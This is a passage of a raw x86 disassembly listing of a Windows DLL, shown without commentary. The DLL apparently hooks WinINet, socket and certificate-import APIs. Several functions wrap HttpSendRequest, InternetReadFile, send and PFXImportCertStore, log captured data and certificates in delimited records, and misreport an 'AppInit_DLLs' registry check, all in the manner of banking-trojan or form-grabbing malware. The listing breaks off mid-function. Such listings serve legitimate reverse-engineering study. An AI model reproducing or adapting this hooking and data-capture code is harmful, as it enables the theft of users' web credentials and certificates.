		mov	dword_10073B84,	eax
		mov	ecx, dword_10073B84
		mov	dword_10073B84,	ecx
		mov	edx, ds:WaitNamedPipeW
		mov	dword_10073DA4,	edx
		mov	eax, dword_10073DA4
		mov	dword_10073DA4,	eax
		mov	ecx, ds:SetNamedPipeHandleState
		mov	dword_10073B64,	ecx
		mov	edx, dword_10073B64
		mov	dword_10073B64,	edx
		mov	eax, ds:GetCurrentProcessId
		mov	dword_10073DB4,	eax
		mov	ecx, dword_10073DB4
		mov	dword_10073DB4,	ecx
		mov	edx, ds:GetSystemTimeAsFileTime
		mov	dword_10073B7C,	edx
		mov	eax, dword_10073B7C
		mov	dword_10073B7C,	eax
		mov	ecx, ds:InitializeCriticalSection
		mov	dword_10073B5C,	ecx
		mov	edx, dword_10073B5C
		mov	dword_10073B5C,	edx
		mov	eax, ds:EnterCriticalSection
		mov	dword_10073DB0,	eax
		mov	ecx, dword_10073DB0
		mov	dword_10073DB0,	ecx
		mov	edx, ds:LeaveCriticalSection
		mov	dword_10073A54,	edx
		mov	eax, dword_10073A54
		mov	dword_10073A54,	eax
		pop	ebp
		retn
sub_1000FBCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000FCEB(int,	int, LPCWSTR lpWideCharStr, int, int, int, int,	int)

sub_1000FCEB	proc near		; DATA XREF: sub_1001338E+FFo
					; sub_100134D4+FFo

var_E4		= dword	ptr -0E4h
Str1		= byte ptr -0E0h
var_DF		= byte ptr -0DFh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
lpWideCharStr	= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

; FUNCTION CHUNK AT 1000FDB8 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E478
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFF2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_E4], 0
		mov	[ebp+Str1], 0
		mov	ecx, 31h
		xor	eax, eax
		lea	edi, [ebp+var_DF]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+lpWideCharStr]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073DAC
		mov	[ebp+var_E4], eax
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	0FFh		; cbMultiByte
		lea	edx, [ebp+Str1]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		mov	eax, [ebp+lpWideCharStr]
		push	eax		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		push	offset aAppinit_dlls ; "AppInit_DLLs"
		lea	ecx, [ebp+Str1]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000FDA9
		mov	[ebp+var_E4], 1


loc_1000FDA9:				; CODE XREF: sub_1000FCEB+B2j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		jmp	short loc_1000FDB8
sub_1000FCEB	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_1000FCEB


loc_1000FDB8:				; CODE XREF: sub_1000FCEB+CAj
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_1000FCEB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000FDD1	proc near		; DATA XREF: .data:10022014o
		push	ebp
		mov	ebp, esp
		call	sub_1000FDDB
		pop	ebp
		retn
sub_1000FDD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000FDDB	proc near		; CODE XREF: sub_1000FDD1+3p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:GetModuleFileNameW
		mov	dword_10073B68,	eax
		mov	ecx, dword_10073B68
		mov	dword_10073B68,	ecx
		mov	edx, ds:CreateProcessW
		mov	dword_10073DB8,	edx
		mov	eax, dword_10073DB8
		mov	dword_10073DB8,	eax
		mov	ecx, ds:send
		mov	dword_10073B88,	ecx
		mov	edx, dword_10073B88
		mov	dword_10073B88,	edx
		mov	eax, ds:GetUrlCacheEntryInfoA
		mov	dword_10073B60,	eax
		mov	ecx, dword_10073B60
		mov	dword_10073B60,	ecx
		mov	edx, ds:InternetConnectA
		mov	dword_10073DA8,	edx
		mov	eax, dword_10073DA8
		mov	dword_10073DA8,	eax
		mov	ecx, ds:LoadLibraryA
		mov	dword_10073DC4,	ecx
		mov	edx, dword_10073DC4
		mov	dword_10073DC4,	edx
		mov	eax, ds:InternetReadFile
		mov	dword_10073DC0,	eax
		mov	ecx, dword_10073DC0
		mov	dword_10073DC0,	ecx
		mov	edx, ds:InternetWriteFile
		mov	dword_10073B8C,	edx
		mov	eax, dword_10073B8C
		mov	dword_10073B8C,	eax
		mov	ecx, ds:InternetReadFileExA
		mov	dword_10073DCC,	ecx
		mov	edx, dword_10073DCC
		mov	dword_10073DCC,	edx
		mov	eax, ds:InternetOpenUrlA
		mov	dword_10073B74,	eax
		mov	ecx, dword_10073B74
		mov	dword_10073B74,	ecx
		mov	edx, ds:HttpOpenRequestA
		mov	dword_10073A4C,	edx
		mov	eax, dword_10073A4C
		mov	dword_10073A4C,	eax
		mov	ecx, ds:HttpSendRequestW
		mov	dword_10073D9C,	ecx
		mov	edx, dword_10073D9C
		mov	dword_10073D9C,	edx
		mov	eax, ds:HttpSendRequestA
		mov	dword_10073DA0,	eax
		mov	ecx, dword_10073DA0
		mov	dword_10073DA0,	ecx
		mov	edx, ds:InternetQueryDataAvailable
		mov	dword_10073B70,	edx
		mov	eax, dword_10073B70
		mov	dword_10073B70,	eax
		mov	ecx, ds:HttpSendRequestExA
		mov	dword_10073DBC,	ecx
		mov	edx, dword_10073DBC
		mov	dword_10073DBC,	edx
		mov	eax, ds:GetProcAddress
		mov	dword_10073B80,	eax
		mov	ecx, dword_10073B80
		mov	dword_10073B80,	ecx
		mov	edx, ds:InternetSetStatusCallback
		mov	dword_10073DD0,	edx
		mov	eax, dword_10073DD0
		mov	dword_10073DD0,	eax
		mov	ecx, ds:PFXImportCertStore
		mov	dword_10073DC8,	ecx
		mov	edx, dword_10073DC8
		mov	dword_10073DC8,	edx
		mov	eax, ds:WSASend
		mov	dword_10073A58,	eax
		mov	ecx, dword_10073A58
		mov	dword_10073A58,	ecx
		pop	ebp
		retn
sub_1000FDDB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E488
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	dword_10073B90
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_2
		jmp	short loc_1000FFE3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_1000FFE3:				; CODE XREF: .text:1000FFE0j
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000FFF9(int,	LPCWSTR	lpWideCharStr, int)

sub_1000FFF9	proc near		; DATA XREF: sub_1001338E+30o
					; sub_100134D4+30o

var_11C		= dword	ptr -11Ch
Source		= byte ptr -118h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpWideCharStr	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 100100E4 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E498
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_11C], 0
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_10073DC8
		mov	[ebp+var_11C], eax
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	0FFh		; cbMultiByte
		lea	eax, [ebp+Source]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_100236E4 ; "======"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_100220BC
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_100236EC ; "======\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		lea	ecx, [ebp+Source]
		push	ecx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aEnd	; "=====End=====\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_3
		jmp	short loc_100100E4
sub_1000FFF9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_1000FFF9


loc_100100E4:				; CODE XREF: sub_1000FFF9+E8j
		mov	eax, [ebp+var_11C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_1000FFF9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100100FD(LPCWSTR lpWideCharStr, int, int, int, int, int, int)

sub_100100FD	proc near		; DATA XREF: sub_1001338E+19o
					; sub_100134D4+19o

var_11C		= dword	ptr -11Ch
String2		= byte ptr -118h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
lpWideCharStr	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 1001026F SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E4A8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_11C], 0
		mov	[ebp+var_4], 0
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	0FFh		; cbMultiByte
		lea	eax, [ebp+String2]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		push	1		; int
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_100220B8
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; Str2
		lea	ecx, [ebp+String2]
		push	ecx		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_10010238
		push	4008h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	lpParameter, eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10057ED8,	eax
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, dword_10057ED8
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	1000h		; Size
		push	offset dword_10057ED8 ;	Src
		mov	ecx, lpParameter
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	edx, lpParameter
		mov	dword ptr [edx+4004h], 0
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, lpParameter
		mov	[ecx+4000h], eax
		push	offset byte_10073E08 ; Source
		mov	edx, lpParameter
		mov	eax, [edx+4000h]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, lpParameter
		push	ecx		; lpParameter
		push	offset sub_1000B027 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10010238:				; CODE XREF: sub_100100FD+85j
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+lpWideCharStr]
		push	edx
		call	dword_10073A48
		mov	[ebp+var_11C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_4
		jmp	short loc_1001026F
sub_100100FD	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_100100FD


loc_1001026F:				; CODE XREF: sub_100100FD+16Fj
		mov	eax, [ebp+var_11C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; END OF FUNCTION CHUNK	FOR sub_100100FD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E4B8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	dword_10073B80
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_5
		jmp	short loc_100102D2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_100102D2:				; CODE XREF: .text:100102CFj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100102E8	proc near		; DATA XREF: sub_1001036D+39o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0


loc_100102F3:				; CODE XREF: sub_100102E8+63j
		mov	eax, [ebp+var_4]
		cmp	dword_10073A5C[eax*4], 0
		jz	short loc_1001034D
		cmp	[ebp+var_4], 190h
		jnb	short loc_1001034D
		mov	ecx, [ebp+var_4]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+0Ch]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_10010342
		cmp	[ebp+arg_8], 64h
		jnz	short loc_10010342
		cmp	dword_10073DFC,	1
		jz	short loc_10010333
		cmp	dword_10073E00,	1
		jnz	short loc_10010342


loc_10010333:				; CODE XREF: sub_100102E8+40j
		mov	ecx, hEvent
		push	ecx		; hEvent
		call	ds:SetEvent	; SetEvent
		jmp	short loc_10010367
; ---------------------------------------------------------------------------


loc_10010342:				; CODE XREF: sub_100102E8+31j
					; sub_100102E8+37j ...
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_100102F3
; ---------------------------------------------------------------------------


loc_1001034D:				; CODE XREF: sub_100102E8+16j
					; sub_100102E8+1Fj
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073DD4


loc_10010367:				; CODE XREF: sub_100102E8+58j
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_100102E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001036D	proc near		; DATA XREF: sub_1001338E+E8o
					; sub_100134D4+E8o

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 100103C7 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E4C8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		mov	dword_10073DD4,	eax
		push	offset sub_100102E8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073DD0
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_6
		jmp	short loc_100103C7
sub_1001036D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_1001036D


loc_100103C7:				; CODE XREF: sub_1001036D+57j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_1001036D
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E4D8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	dword_10073B60
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_7
		jmp	short loc_10010432
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_10010432:				; CODE XREF: .text:1001042Fj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E4E8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+2Ch]
		push	eax
		mov	ecx, [ebp+28h]
		push	ecx
		mov	edx, [ebp+24h]
		push	edx
		mov	eax, [ebp+20h]
		push	eax
		mov	ecx, [ebp+1Ch]
		push	ecx
		mov	edx, [ebp+18h]
		push	edx
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	dword_10073DB8
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_8
		jmp	short loc_100104B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_100104B9:				; CODE XREF: .text:100104B6j
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	28h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E4F8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	off_10023414
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_9
		jmp	short loc_1001052F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_1001052F:				; CODE XREF: .text:1001052Cj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E508
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	off_10023418
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	nullsub_10
		jmp	short loc_1001059E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_1001059E:				; CODE XREF: .text:1001059Bj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E518
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		push	eax
		call	dword_10073DC4
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_100105F9
		jmp	short loc_1001060D

; =============== S U B	R O U T	I N E =======================================



sub_100105F9	proc near		; CODE XREF: .text:100105F2p
					; DATA XREF: .rdata:1001E520o
		push	0		; uType
		push	offset Caption	; "LoadLibrary"
		mov	ecx, [ebp+8]
		push	ecx		; lpText
		push	0		; hWnd
		call	ds:MessageBoxA	; MessageBoxA
		retn
sub_100105F9	endp

; ---------------------------------------------------------------------------


loc_1001060D:				; CODE XREF: .text:100105F7j
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_10010623(LPVOID)

sub_10010623	proc near		; DATA XREF: sub_100108A3+46Eo
					; sub_10011167+4A0o ...

var_68		= dword	ptr -68h
lpString1	= dword	ptr -64h
SystemTime	= _SYSTEMTIME ptr -60h
lpBuffer	= dword	ptr -50h
lpString2	= dword	ptr -4Ch
lpString	= dword	ptr -48h
Dest		= byte ptr -44h
var_43		= byte ptr -43h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_68], eax
		mov	[ebp+lpBuffer],	0
		mov	[ebp+Dest], 0
		mov	ecx, 0Fh
		xor	eax, eax
		lea	edi, [ebp+var_43]
		rep stosd
		stosw
		stosb
		mov	[ebp+lpString],	0
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString1
		call	sub_1000EB30
		add	esp, 4
		mov	[ebp+lpString],	eax
		lea	edx, [ebp+SystemTime]
		push	edx		; lpSystemTime
		call	ds:GetSystemTime	; GetSystemTime
		mov	eax, dword ptr [ebp+SystemTime.wMinute]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp-58h]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, dword ptr [ebp+SystemTime.wDay]
		and	edx, 0FFFFh
		push	edx
		mov	eax, dword ptr [ebp+SystemTime.wMonth]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, dword ptr [ebp+SystemTime.wYear]
		and	ecx, 0FFFFh
		push	ecx
		push	offset aD_D_DDD	; "%d.%d.%d %d:%d"
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 1Ch
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022050
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_20	; "%s%s"
		mov	edx, [ebp+lpString1]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	eax, [ebp+var_68]
		mov	ecx, [eax+8]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	edx, [ebp+lpString]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	eax, [esi+eax+400h]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	ecx, [ebp+var_68]
		mov	edx, [ecx+8]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	eax, [ebp+lpString]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	ecx, [esi+eax+400h]
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+lpString2]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		cmp	dword_1003712C,	0
		jz	short loc_10010762
		mov	eax, [ebp+var_68]
		mov	ecx, [eax]
		add	ecx, 0Ah
		mov	edx, [ebp+var_68]
		mov	[edx], ecx


loc_10010762:				; CODE XREF: sub_10010623+130j
		mov	eax, [ebp+lpString]
		push	eax
		lea	ecx, [ebp+Dest]
		push	ecx
		mov	edx, [ebp+var_68]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_68]
		mov	edx, [ecx+4]
		push	edx
		push	offset byte_10065ED8
		mov	eax, [ebp+var_68]
		mov	ecx, [eax]
		push	ecx
		push	offset aDSSSSS	; "%d|%s|%s|%s|%s|%s"
		mov	edx, [ebp+lpString2]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 20h
		mov	[ebp+var_4], 0
		jmp	short loc_100107A7
; ---------------------------------------------------------------------------


loc_1001079E:				; CODE XREF: sub_10010623+1A5j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_100107A7:				; CODE XREF: sub_10010623+179j
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp+var_4], eax
		jge	short loc_100107CA
		mov	edx, [ebp+lpString2]
